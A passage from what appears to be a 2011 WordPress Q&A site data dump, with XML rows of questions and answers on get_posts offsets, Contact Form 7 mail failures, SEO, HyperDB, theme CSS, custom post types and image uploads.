style=&quot;position:absolute;left:-1000px;top:0px&quot;&amp;gt;&amp;lt;/div&amp;gt;')&#xA;write('&amp;lt;/div&amp;gt;&amp;lt;/div&amp;gt;')&#xA;}&#xA;else if (document.layers){&#xA;write('&amp;lt;ilayer width='+sliderwidth+' height='+sliderheight+' name=&quot;ns_slidemenu&quot; bgColor='+slidebgcolor+'&amp;gt;')&#xA;write('&amp;lt;layer name=&quot;ns_slidemenu2&quot; left=0 top=0 onMouseover=&quot;copyspeed=0&quot; onMouseout=&quot;copyspeed=slidespeed&quot;&amp;gt;&amp;lt;/layer&amp;gt;')&#xA;write('&amp;lt;layer name=&quot;ns_slidemenu3&quot; left=0 top=0 onMouseover=&quot;copyspeed=0&quot; onMouseout=&quot;copyspeed=slidespeed&quot;&amp;gt;&amp;lt;/layer&amp;gt;')&#xA;write('&amp;lt;/ilayer&amp;gt;')&#xA;}&#xA;document.write('&amp;lt;/td&amp;gt;&amp;lt;/table&amp;gt;')&#xA;}&#xA;}&#xA;&amp;lt;/script&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;How can I integrate this with my wordpress site?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastActivityDate="2011-04-01T11:21:17.617" Title="javascript conflict" Tags="&lt;javascript&gt;&lt;footer&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="13365" PostTypeId="2" ParentId="13334" CreationDate="2011-03-29T07:22:01.733" Score="1" ViewCount="" Body="&lt;p&gt;Using a dedicated search engine like &lt;a href=&quot;http://sphinxsearch.com/&quot; rel=&quot;nofollow&quot;&gt;sphinx&lt;/a&gt; or &lt;a href=&quot;http://lucene.apache.org/solr/&quot; rel=&quot;nofollow&quot;&gt;solr&lt;/a&gt; You can improve search result.&lt;/p&gt;&#xA;" OwnerUserId="3768" LastActivityDate="2011-03-29T07:22:01.733" />
  <row Id="13366" PostTypeId="2" ParentId="7790" CreationDate="2011-03-29T07:25:36.677" Score="0" ViewCount="" Body="&lt;h2&gt;This is a very good question and would be a great feature for WordPress to include.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Some of the other answers don't address the main question.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I was wondering if it's possible to&#xA;  use them in the front-end too, not&#xA;  just admin, because they can&#xA;  concatenate all enqueued scripts, and&#xA;  serve them as a single gzipped file.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;No it's not currently possible to use the built in script loader to Concatenate css and scripts for the front end.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There was a &lt;a href=&quot;http://old.nabble.com/Hook-into-load-styles.php---load-scripts.php-%22queue%22--td26596910.html&quot; rel=&quot;nofollow&quot;&gt;discussion about this on WP Hackers&lt;/a&gt; a few years ago and there is a &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14374&quot; rel=&quot;nofollow&quot;&gt;trac ticket for this enhancement&lt;/a&gt; that has been accepted but for a future release.&lt;/p&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-29T07:25:36.677" />
  <row Id="13367" PostTypeId="1" CreationDate="2011-03-29T08:00:20.477" Score="0" ViewCount="242" Body="&lt;p&gt;I am using &lt;code&gt;contact form 7&lt;/code&gt; but when i m trying to send msg through contact form it gives error given below&#xA;&lt;code&gt;Failed to send your message. Please try later or contact administrator by other way.&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;please help me&lt;/p&gt;&#xA;" OwnerUserId="1850" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-03-29T09:39:34.653" LastActivityDate="2011-03-29T13:51:03.670" Title="How to resolve &quot;Failed to send your message&quot; problem for Contact Form 7?" Tags="&lt;plugin-contact-form-7&gt;" AnswerCount="2" />
  <row Id="13368" PostTypeId="1" AcceptedAnswerId="13376" CreationDate="2011-03-29T09:08:12.817" Score="1" ViewCount="104" Body="&lt;p&gt;How can i get the posts using get_posts from let's say post 10 and beyond?So if i have 200 posts i will get from post 10 to post 200(190 posts)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because as i see if i use&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php $args = array(&#xA;    'numberposts'     =&amp;gt; -1,&#xA;    'offset'          =&amp;gt; 10&#xA;    ); ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i just get all the posts&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers&lt;/p&gt;&#xA;" OwnerUserId="1731" LastEditorUserId="1731" LastEditorDisplayName="" LastEditDate="2011-03-29T09:14:15.153" LastActivityDate="2011-03-29T10:44:54.220" Title="get_posts from post x(offset=&gt;x) to end" Tags="&lt;get-posts&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="13369" PostTypeId="2" ParentId="13367" CreationDate="2011-03-29T09:08:48.937" Score="0" ViewCount="" Body="&lt;p&gt;Something goes wrong while mailing the contact form. Maybe the server doesn't allow to send mail via &lt;code&gt;sendmail()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use a plugin to send mail via SMTP. These plugins I've used before:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;WP Mail SMTP - &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-mail-smtp/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/wp-mail-smtp/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;Configure SMTP - &lt;a href=&quot;http://wordpress.org/extend/plugins/configure-smtp/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/configure-smtp/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Download and install in WordPress. Enter your SMTP-server on the settingspage.&lt;/p&gt;&#xA;" OwnerUserId="3499" LastActivityDate="2011-03-29T09:08:48.937" />
  <row Id="13371" PostTypeId="2" ParentId="13368" CreationDate="2011-03-29T09:49:24.550" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;$myposts = get_posts( $args );&#xA;foreach( $myposts as $key =&amp;gt; $post ) : setup_postdata($post); ?&amp;gt;&#xA;&#xA;    if( $key &amp;gt; 10 )&#xA;&#xA;    // let do it&#xA;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've never tried it berfore, I hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="4287" LastActivityDate="2011-03-29T09:49:24.550" CommentCount="3" />
  <row Id="13373" PostTypeId="1" AcceptedAnswerId="13399" CreationDate="2011-03-29T10:26:05.860" Score="0" ViewCount="97" Body="&lt;p&gt;how are you ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my website I want to make the author's page and category(slug of it is country)  to be in google reslut ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;like this : &lt;a href=&quot;http://rehlat-world.com/profile/saqaf&quot; rel=&quot;nofollow&quot;&gt;http://rehlat-world.com/profile/saqaf&lt;/a&gt; , but when I search in google : &lt;a href=&quot;http://www.google.com.sa/search?q=site%3arehlat-world.com&amp;amp;ie=utf-8&amp;amp;oe=utf-8&amp;amp;aq=t&amp;amp;client=firefox-a&amp;amp;rlz=1R1GGLL_ar___SA419&amp;amp;safe=active&quot; rel=&quot;nofollow&quot;&gt;site:rehlat-world.com&lt;/a&gt; , I didn't find authors page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can include authors page in google result , this is &lt;a href=&quot;http://rehlat-world.com/robots.txt&quot; rel=&quot;nofollow&quot;&gt;my robort&lt;/a&gt; and this is my &lt;a href=&quot;http://rehlat-world.com/sitemap.xml&quot; rel=&quot;nofollow&quot;&gt;sitemap&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;note: I change the slug of author ( &lt;a href=&quot;http://rehlat-world.com/author/&quot; rel=&quot;nofollow&quot;&gt;http://rehlat-world.com/author/&lt;/a&gt;** from author to profile ( &lt;a href=&quot;http://rehlat-world.com/profile/&quot; rel=&quot;nofollow&quot;&gt;http://rehlat-world.com/profile/&lt;/a&gt;** ) ..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;how can include author page in google result ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ALSO , when I search in google (site:rehlat-world.com) some of posts repeated like this :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rehlat-world.com/%D8%A7%D9%84%D9%8A%D9%85%D9%86-%D8%A7%D9%84%D8%B3%D8%B9%D9%8A%D8%AF-%D8%AC%D9%88%D9%84%D8%A9-%D8%B3%D9%8A%D8%A7%D8%AD%D9%8A%D8%A9-%D9%85%D8%B5%D9%88%D8%B1%D8%A9-%D8%AC2.html&quot; rel=&quot;nofollow&quot;&gt;http://rehlat-world.com/%D8%A7%D9%84%D9%8A%D9%85%D9%86-%D8%A7%D9%84%D8%B3%D8%B9%D9%8A%D8%AF-%D8%AC%D9%88%D9%84%D8%A9-%D8%B3%D9%8A%D8%A7%D8%AD%D9%8A%D8%A9-%D9%85%D8%B5%D9%88%D8%B1%D8%A9-%D8%AC2.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://rehlat-world.com/%D8%A7%D9%84%D9%8A%D9%85%D9%86-%D8%A7%D9%84%D8%B3%D8%B9%D9%8A%D8%AF-%D8%AC%D9%88%D9%84%D8%A9-%D8%B3%D9%8A%D8%A7%D8%AD%D9%8A%D8%A9-%D9%85%D8%B5%D9%88%D8%B1%D8%A9-%D8%AC2.html?replytocom=37&quot; rel=&quot;nofollow&quot;&gt;http://rehlat-world.com/%D8%A7%D9%84%D9%8A%D9%85%D9%86-%D8%A7%D9%84%D8%B3%D8%B9%D9%8A%D8%AF-%D8%AC%D9%88%D9%84%D8%A9-%D8%B3%D9%8A%D8%A7%D8%AD%D9%8A%D8%A9-%D9%85%D8%B5%D9%88%D8%B1%D8%A9-%D8%AC2.html?replytocom=37&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;same reslut but change in the last of like &quot;?replaytocom=37&quot; WHY?&lt;/p&gt;&#xA;" OwnerUserId="2076" LastEditorUserId="2076" LastEditorDisplayName="" LastEditDate="2011-03-29T10:31:31.253" LastActivityDate="2011-03-29T14:17:22.740" Title="I have two problems ( SEO )" Tags="&lt;author&gt;&lt;seo&gt;&lt;google-search&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="13375" PostTypeId="1" AcceptedAnswerId="13415" CreationDate="2011-03-29T10:34:03.763" Score="0" ViewCount="433" Body="&lt;p&gt;My code lists the child pages ordered by post title, pulling through the first image attachment of the child post as the thumbnail.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The child pages contain custom fields created using the Magic Fields plugin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone help me adjust my code so that I can have my pages listed in descending order of a custom field called 'price'?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is my code: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;        &amp;lt;div class=&quot;page&quot; id=&quot;post-&amp;lt;?php the_ID(); ?&amp;gt;&quot;&amp;gt;&#xA;&#xA;            &amp;lt;div class=&quot;pagecontent&quot;&amp;gt;&#xA;&#xA;&#xA;            &amp;lt;?php $child_pages = $wpdb-&amp;gt;get_results(&quot;SELECT * FROM $wpdb-&amp;gt;posts WHERE post_parent = &quot;.$post-&amp;gt;ID.&quot; AND post_type = 'page' ORDER BY post_title&quot;, 'OBJECT');   ?&amp;gt;&#xA;&#xA;&#xA;&amp;lt;?php if ( $child_pages ) : foreach ( $child_pages as $pageChild ) : setup_postdata( $pageChild ); ?&amp;gt;&#xA;&#xA;&amp;lt;div class=&quot;grid&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo  get_permalink($pageChild-&amp;gt;ID); ?&amp;gt;&quot; alt=&quot;&amp;lt;?php echo $pageChild-&amp;gt;post_title; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $pageChild-&amp;gt;post_title; ?&amp;gt;&quot;&amp;gt;&#xA;&amp;lt;?php $attachments = get_children( array(&#xA;                'post_parent'    =&amp;gt; $pageChild-&amp;gt;ID,&#xA;                'post_type'      =&amp;gt; 'attachment',&#xA;                'numberposts'    =&amp;gt; 1, // show all -1&#xA;                'post_status'    =&amp;gt; 'inherit',&#xA;                'post_mime_type' =&amp;gt; 'image',&#xA;                'order'          =&amp;gt; 'ASC',&#xA;                'orderby'        =&amp;gt; 'menu_order ASC'&#xA;                ) );&#xA;foreach ( $attachments as $attachment_id =&amp;gt; $attachment ) {&#xA;    echo wp_get_attachment_image( $attachment_id, 'medium' );&#xA;} ?&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&#xA;&amp;lt;h1&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php echo  get_permalink($pageChild-&amp;gt;ID); ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $pageChild-&amp;gt;post_title; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $pageChild-&amp;gt;post_title; ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h1&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&#xA;&amp;lt;?php endforeach; endif; ?&amp;gt;      &#xA;&#xA;            &amp;lt;/div&amp;gt;&#xA;        &amp;lt;/div&amp;gt;&#xA;&#xA;        &amp;lt;?php endwhile; endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I would appreciate any help!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="4288" LastActivityDate="2011-03-29T17:32:59.193" Title="Change Page Order by Custom Field (Magic Fields)" Tags="&lt;custom-field&gt;" AnswerCount="1" />
  <row Id="13376" PostTypeId="2" ParentId="13368" CreationDate="2011-03-29T10:44:54.220" Score="1" ViewCount="" Body="&lt;p&gt;It's strange, you'd have thought if you disable paging and grab all posts, that you could naturally set an offset to, eg.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array( 'nopaging' =&amp;gt; true, 'offset' =&amp;gt; 10 ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array( 'posts_per_page' =&amp;gt; -1, 'offset' =&amp;gt; 10 ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;or&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array( 'numberposts' =&amp;gt; -1, 'offset' =&amp;gt; 10 ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This unfortunately doesn't appear to work(bug / oversight in core i'd guess), however the following works, which i'd agree is not perfect, but will work.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array( 'posts_per_page' =&amp;gt; 100000, 'offset' =&amp;gt; 10 ) &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just use a really high number, and it'll work around the issue of the &lt;code&gt;offset&lt;/code&gt; not being respected when paging is disabled.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-29T10:44:54.220" />
  <row Id="13377" PostTypeId="2" ParentId="13349" CreationDate="2011-03-29T11:09:13.967" Score="3" ViewCount="" Body="&lt;h2&gt;This can easily be accomplished with CSS.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Sometimes it's better to use CSS to modify your theme.  I use the &lt;a href=&quot;http://developer.apple.com/technologies/safari/developer-tools.html&quot; rel=&quot;nofollow&quot;&gt;Web Kit developer tools&lt;/a&gt; or &lt;a href=&quot;http://getfirebug.com/&quot; rel=&quot;nofollow&quot;&gt;Firebug&lt;/a&gt; to make live edits in the browser until it looks right then save it back to CSS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit the following lines in style.css.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* line 201  pulled down the icons to make room for the 2nd logo */&#xA;#topSocial {&#xA;    position:absolute;&#xA;    right:0;&#xA;    top: 150px;&#xA;}&#xA;&#xA;/* line 80  add relative positioning to the wrapper div to allow the logo to be positioned absolute */&#xA;#wrapper {&#xA;    margin:0 auto;&#xA;    width:960px;&#xA;    position: relative;&#xA;}&#xA;&#xA;/* line 85 made the header a little taller to make room for the 2nd logo*/&#xA;#header {&#xA;    height: 220px;&#xA;    position:relative;&#xA;    background:url(images/bk_header.png) 0 0 no-repeat;&#xA;}&#xA;&#xA;&#xA;/* line 312 moved the logo in place using position absolute */&#xA;#blurb img {&#xA;    border:none;&#xA;    position: absolute;&#xA;    top: 90px; &#xA;    right: 15px; &#xA;    margin-top: 5px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/PnJKm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit after question was clarified that an additional logo was needed&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To add an additional logo open your header.php file and find the lines that look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Edit&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;The 2nd logo code shown below should go at line 78 in your header.php file&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/MeSmY.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- END TOP SEARCH --&amp;gt;&#xA;&amp;lt;!-- BEGIN TOP SOCIAL LINKS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Between those two line add the basic XHTML to display a linked image:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- END TOP SEARCH --&amp;gt;&#xA;&amp;lt;!-- BEGIN 2ND LOGO --&amp;gt;&#xA;&amp;lt;div id=&quot;new-logo&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;http://link_you_want_image_to_point_to&quot;&amp;gt;&amp;lt;img src=&quot;http://url_of_image&quot; width=&quot;xx&quot; height=&quot;xx&quot; /&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- END 2ND LOGO --&amp;gt;&#xA;&amp;lt;!-- BEGIN TOP SOCIAL LINKS --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use the exact same CSS I gave you above except change&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#blurb img {&#xA;     border:none;&#xA;     position:absolute;&#xA;     top: 90px;&#xA;     right: 15px;&#xA;     margin-top: 5px;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#new-logo img {&#xA;         border:none;&#xA;         position:absolute;&#xA;         top: 90px;&#xA;         right: 15px;&#xA;         margin-top: 5px;&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastEditorUserId="251" LastEditorDisplayName="" LastEditDate="2011-04-04T04:00:28.263" LastActivityDate="2011-04-04T04:00:28.263" CommentCount="4" />
  <row Id="13378" PostTypeId="1" AcceptedAnswerId="13451" CreationDate="2011-03-29T11:14:31.060" Score="1" ViewCount="372" Body="&lt;p&gt;I'm trying to add template page from a plugin,and my template page is in this plugin folder.Is this posible?Here is my code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; global $user_ID;&#xA;    $new_post = array(&#xA;        'post_title' =&amp;gt; 'Test Template Page',&#xA;        'post_content' =&amp;gt; 'Some text',&#xA;        'post_status' =&amp;gt; 'publish',&#xA;        'post_date' =&amp;gt; date('Y-m-d H:i:s'),&#xA;        'post_author' =&amp;gt; $user_ID,&#xA;        'post_type' =&amp;gt; 'page',&#xA;        'post_category' =&amp;gt; array(0)&#xA;    );&#xA;    $post_id = wp_insert_post($new_post);&#xA;    if (!$post_id) {&#xA;        wp_die('Error creating template page');&#xA;    } else {&#xA;        update_post_meta($post_id, '_wp_page_template', 'tp-file.php');&#xA;    }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;tp-file.php is my custom template page.When I put that file into the my-theme folder,it works fine,but I want to do this with file from plugin folder so I don't have to force users to copy that file from plugin folder to template folder.&#xA;Is this possible?Any idea?&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="1147" LastEditorDisplayName="" LastEditDate="2011-03-30T00:09:37.687" LastActivityDate="2011-03-30T09:54:29.990" Title="Add custom template page programmatically" Tags="&lt;3.0&gt;&lt;functions&gt;&lt;page-template&gt;" AnswerCount="1" CommentCount="3" FavoriteCount="1" />
  <row Id="13379" PostTypeId="2" ParentId="13354" CreationDate="2011-03-29T11:18:39.303" Score="1" ViewCount="" Body="&lt;p&gt;You could fetch the post categories, then pass them into &lt;code&gt;wp_list_categories&lt;/code&gt;  to take care of displaying them hierarchally.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Something like..&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_categories( array( &#xA;    'include' =&amp;gt; array_keys( get_the_terms( $post-&amp;gt;ID, 'category' ) ), &#xA;    'title_li' =&amp;gt; '' &#xA;) );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope that helps.. :)&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-03-29T11:18:39.303" />
  <row Id="13380" PostTypeId="1" CreationDate="2011-03-29T11:23:23.017" Score="0" ViewCount="174" Body="&lt;p&gt;Hello for some days I am trying to testing the wordpress hyperdb. &lt;a href=&quot;http://wordpress.org/extend/plugins/hyperdb/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/hyperdb/&lt;/a&gt; I Have taken three server with 2 node each at vps.net with centos each.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;server1 = appserver&#xA;server2 = masterdbserver&#xA;server3 = slavedbserver&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At first I took server2 and server3 and did replication with this following tutorial&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://cloudservers.rackspacecloud.com/index.php/MySQL_replication_-_Master/Slave&quot; rel=&quot;nofollow&quot;&gt;http://cloudservers.rackspacecloud.com/index.php/MySQL_replication_-_Master/Slave&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and tested that the replication is ok.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then I have installed apache and php to server1 with this tutorial &lt;a href=&quot;http://cloudservers.rackspacecloud.com/index.php/CentOS_-_Apache_and_PHP_install&quot; rel=&quot;nofollow&quot;&gt;http://cloudservers.rackspacecloud.com/index.php/CentOS_-_Apache_and_PHP_install&lt;/a&gt; and install a freash copy of wordpress 3.1&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have give proper grant privileges to both master and slave server from my app server. and both database server are successfully connecting from my appserver individually.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then to implement the hyperdb I have coppy the db.php file to wp-content folder and place the db-config.php file to root (where wp-config.php) with proper master and slave db information.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have changed the db info in wp-config.php to check and tested that the master db and slave db are connecting nicely from my appserver.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but after implementing hyperdb whenever I am go to my site with my appserver IP address to browser nothing but only a blank page is showing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I could not find any problem whats going wrong. Is there any thing I have to change to db-config.php? I have just input the master and slave db info there. or I am missing something? Can anyone help me out?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="1581" LastEditorUserId="498" LastEditorDisplayName="" LastEditDate="2011-04-08T19:01:23.807" LastActivityDate="2011-08-08T23:21:08.787" Title="Wordpress Hyperdb Implementing Problem" Tags="&lt;database&gt;&lt;server&gt;&lt;optimization&gt;&lt;server-load&gt;&lt;hyperdb&gt;" AnswerCount="1" />
  <row Id="13381" PostTypeId="1" CreationDate="2011-03-29T11:52:11.200" Score="0" ViewCount="54" Body="&lt;p&gt;I created a new post-type following this technique: (http://www.wpbeginner.com/wp-tutorials/how-to-use-custom-post-types/) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;After creating a a new post-type some of the feature of the a regular post also disappeared. I installed a plugin (SEO Pressor) that helps my seo on creating a new post. That plugin can be seen in the sidebar when you create a new post, Together with &quot;Publish&quot;, &quot;Categories&quot; etc.. . currently the new post-type only contains the &quot;Publish&quot; and &quot;Attributes&quot; block. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea how I can call those plugin to my new post-type?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="378" LastActivityDate="2011-08-29T15:40:09.990" Title="new post-type how do i retain the plugins on my sidebar?" Tags="&lt;custom-post-types&gt;&lt;3.0&gt;&lt;functions&gt;" AnswerCount="1" />
  <row Id="13382" PostTypeId="1" AcceptedAnswerId="13391" CreationDate="2011-03-29T12:09:07.610" Score="2" ViewCount="199" Body="&lt;p&gt;My blog is painfully slow for the last few days, and I would like to pay someone (anyone?) 15 &lt;a href=&quot;http://bitcoin.org/&quot; rel=&quot;nofollow&quot;&gt;BitCoins&lt;/a&gt; to optimize it for me (I would do it myself, but I'm not sure I have the time right now).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's currently hosted at GoDaddy. What I'm thinking is giving him a snapshot of the filestructure of my blog, and asking him to setup an Amazon EC2 image that will run it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After I test his image, I will switch my domain to point to the new EC2 instance and change the admin password. My blog is rather small (only 80 readers), and I gather I don't have anything vital/precious/secret there. The private information I could think of that I wouldn't want leaked is perhaps a few emails addresses from some of my users (not that happy about it being leaked, but I &lt;strong&gt;assume&lt;/strong&gt; that email addresses aren't that expensive, and nobody will have the incentive to do anything interesting with them).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do you think it's a viable option? Or instead, should I absolutely not do, in order to protect my user' privacy? What are security risks are there?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BTW, I don't yet have anyone specific in mind. If you're interested, ping me at ron.gross@gmail.com.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit&lt;/strong&gt; - &lt;a href=&quot;http://www.bitcoin.org/smf/index.php?topic=5118.0&quot; rel=&quot;nofollow&quot;&gt;cross link&lt;/a&gt; to the post on bitcoin.org forums.&lt;/p&gt;&#xA;" OwnerUserId="678" LastEditorUserId="678" LastEditorDisplayName="" LastEditDate="2011-03-31T10:10:16.193" LastActivityDate="2011-03-31T10:10:16.193" Title="Is there a security risk giving someone temporary access to my blog's code?" Tags="&lt;security&gt;" AnswerCount="2" CommentCount="6" FavoriteCount="2" />
  <row Id="13383" PostTypeId="2" ParentId="5673" CreationDate="2011-03-29T12:13:20.667" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.webspeaks.in/2011/03/custom-image-upload-in-wordpress.html&quot; rel=&quot;nofollow&quot;&gt;Watch complete tutorial here:&lt;strong&gt;http://www.webspeaks.in/2011/03/custom-image-upload-in-wordpress.html&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;HTML Markup:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;  &amp;lt;label for=&quot;custom-upload&quot;&amp;gt;Upload New Image:&amp;lt;/label&amp;gt;&#xA;&#xA;  &amp;lt;input type=&quot;file&quot; tabindex=&quot;3&quot; name=&quot;custom-upload&quot; id=&quot;custom-upload&quot; /&amp;gt;&#xA; &amp;lt;/p&amp;gt;&#xA; &amp;lt;?php&#xA;  /*Retrieving the image*/&#xA;  $attachment = get_post_meta($postid, 'custom_image');&#xA;&#xA;  if($attachment[0]!='')&#xA;  {&#xA;   echo wp_get_attachment_link($attachment[0], 'thumbnail', false, false);&#xA;  }&#xA;&#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Uploading the image:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;global $post; /*Global post object*/&#xA;&#xA;$post_id = $post-&amp;gt;ID; /*Geting current post id*/&#xA;&#xA;$upload = $_FILES['upload']; /*Receive the uploaded image from form*/&#xA;&#xA;add_custom_image($post_id, $upload); /*Call image uploader function*/&#xA;&#xA;function add_custom_image($post_id, $upload)&#xA;{&#xA; $uploads = wp_upload_dir(); /*Get path of upload dir of 